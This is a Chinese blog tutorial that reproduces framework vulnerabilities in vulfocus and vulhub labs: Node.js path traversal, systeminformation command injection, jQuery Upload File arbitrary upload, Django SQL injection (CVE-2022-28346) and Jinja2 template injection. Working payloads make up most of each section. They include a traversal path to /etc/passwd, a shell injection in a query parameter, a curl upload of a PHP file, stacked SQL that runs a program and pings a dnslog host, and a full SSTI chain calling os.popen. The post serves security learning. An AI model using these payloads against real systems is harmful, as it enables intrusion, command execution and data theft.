首页 前端知识 框架漏洞-CVE复现-Node.JS Jquery Django Flask

框架漏洞-CVE复现-Node.JS Jquery Django Flask

2024-06-21 09:06:21 前端知识 前端哥 596 132 我要收藏

什么是框架?

       就是别人写好包装起来的一套工具,把你原先必须要写的,必须要做的一些复杂的东西都写好了放在那里,你只要调用他的方法,就可以实现一些本来要费好大劲的功能。

         如果网站的功能是采用框架开发的,那么挖掘功能的漏洞就相当于在挖掘框架自身的漏洞。如果框架产生漏洞也会对使用框架的网站产生影响。

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等

JAVA:Spring MyBatis Hibernate Struts2 Springboot等

Python:Django Flask Bottle Turbobars Tornado Web2py等

Javascript:Vue.js Node.js Bootstrap JQuery Angular等

 

框架:javascript---Node.js

Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的搭建响应速度快、易于拓展的网络应用。

 

漏洞复现:Node.js 目录穿越漏洞(CVE-2017-14849

描述:Node.js 8.6.0之前的8.5.0版本中存在安全漏洞。远程攻击者可利用该漏洞访问敏感文件。

使用vulfocus靶场启动环境复现

启动环境

burp抓取数据包

添加请求路径:/static/../../../a/../../../../etc/passwd   成功获取敏感信息

漏洞复现:CVE-2021-21315 NodeJs命令注入漏洞

描述:Node.js-systeminformation是用于获取各种信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数注入payload执行系统命令。

影响版本:Systeminformation < 5.3.1

漏洞环境:https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC.git

解压poc,进入poc目录。执行:node index.js  启动环境

如果提示:

Command 'node' not found, but can be installed with:

apt install nodejs

根据提示执行命令:apt install nodejs  安装nodejs即可

安装nodejs完成,再次执行node index.js

环境成功启动,访问   本机地址:8000  进入

访问路径:/api/getServices?name[]=$(echo -e 'xiaoheizi' > test.txt)

目录下成功生成一个内容为 'xiaoheizi' 的 test.txt文件

框架:javascript---jQuery

描述: jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。

漏洞复现:jquery 文件上传 (CVE-2018-9207

漏洞版本:jQuery Upload File <= 4.0.2 中的任意文件上传

使用vulfocus靶场启动环境

根据环境提示得知上传根目录/jquery-upload-file 。实战中可能需要抓包分析来获取目录信息

来到如下图的路径下,看到只有一个Parent Directory

在桌面创建一个php.php文件,内容为:<?php phpinfo();?>

打开桌面的cmd命令行

执行命令:curl -F "myfile=@上传的文件名" "http://目标IP:端口/jquery-upload-file/php/upload.php"

再次来到/jquery-upload-file/php/uploads路径,看到成功上传php.php文件

访问php.php文件,成功执行命令

框架:python---Django 

描述:Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模版T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。

漏洞复现:Django SQL注入 (CVE-2022-28346)

使用vulfocus靶场,启动环境

1.进入后台

访问/admin进入后台,由于是靶场所以不需要输入密码

2.判断漏洞是否存在

访问:/admin/vuln/collection/?detail__a'b=123  报错说明漏洞存在

3.创建cmd_exec

访问:/admin/vuln/collection/?detail__title')='1' or 1=1 ;create table cmd_exec(cmd_output text)--   报错为:no results to fetch 说明创建成功

4.使用dnslog平台检测是否可以执行命令,dnslog平台:dnslog.cn

获取dns解析地址

5.调用cmd_exec执行命令:

访问:/admin/vuln/collection/?detail__title')='1' or 1=1 ;copy cmd_exec FROM PROGRAM 'ping c6fbxo.dnslog.cn'--   执行命令

dnslog平台成功检测到解析记录,命令执行成功

 

框架:python---Flask

描述:Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug ,模板引擎则使用Jinja2 

漏洞复现:Jinja2 SSTI模板注入

使用vulhub靶场,启动环境

先进入容器看一下web服务的代码,得出参数值为name,且可控

判断是否存在ssti漏洞,输入:?name={{1*9}},被执行则漏洞存在

用jinja的语法写一个执行命令的代码:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

执行命令用法:修改代码中popen("要执行的命令"),

将代码进行url编码:

访问:http://目标ip:8000/?name={% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

执行命令”id“,访问url,命令成功执行:

修改url中要执行的命令为whoami,访问成功执行

转载请注明出处或者链接地址:https://www.qianduange.cn//article/13163.html
评论
发布的文章

JQuery中的load()、$

2024-05-10 08:05:15

大家推荐的文章
会员中心 联系我 留言建议 回顶部
复制成功!